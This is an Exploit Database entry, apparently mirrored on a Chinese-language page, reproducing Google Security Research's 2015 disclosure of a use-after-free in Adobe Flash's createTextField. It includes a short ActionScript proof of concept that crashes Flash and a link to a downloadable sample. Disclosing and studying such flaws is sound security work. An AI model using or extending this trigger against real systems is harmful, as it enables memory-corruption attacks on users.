Adobe Flash – createTextField Use-After-Free

• Exploit Database
• 17 阅读

• 作者： Google Security Research
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37873/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:
  
  _root-->l1-->l2-->l3
  
  If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:
  
  var l1 = this.createEmptyMovieClip("l1", 1);
  var l2 = l1.createEmptyMovieClip("l2", 1);
  ns = {toString: strfunc, valueOf: strfunc};
  var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);
  
  function strfunc(){
  	
  	l2.removeMovieClip();
  	return "myname";
  	
  	}
  
  A sample SWF and fla are attached.
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip